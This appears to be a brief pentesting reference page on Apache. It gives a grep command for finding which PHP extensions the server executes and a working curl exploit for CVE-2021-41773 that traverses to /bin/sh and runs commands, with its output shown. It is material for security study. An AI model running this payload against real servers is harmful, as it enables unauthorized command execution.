28 lines
608 B
Markdown
28 lines
608 B
Markdown
# Apache
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## Executable PHP extensions
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Check which extensions is executing the Apache server. To search them you can execute:
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```bash
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grep -R -B1 "httpd-php" /etc/apache2
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```
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Also, some places where you can find this configuration is:
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```bash
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/etc/apache2/mods-available/php5.conf
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/etc/apache2/mods-enabled/php5.conf
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/etc/apache2/mods-available/php7.3.conf
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/etc/apache2/mods-enabled/php7.3.conf
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```
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## CVE-2021-41773
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```bash
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curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
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uid=1(daemon) gid=1(daemon) groups=1(daemon)
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Linux
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```
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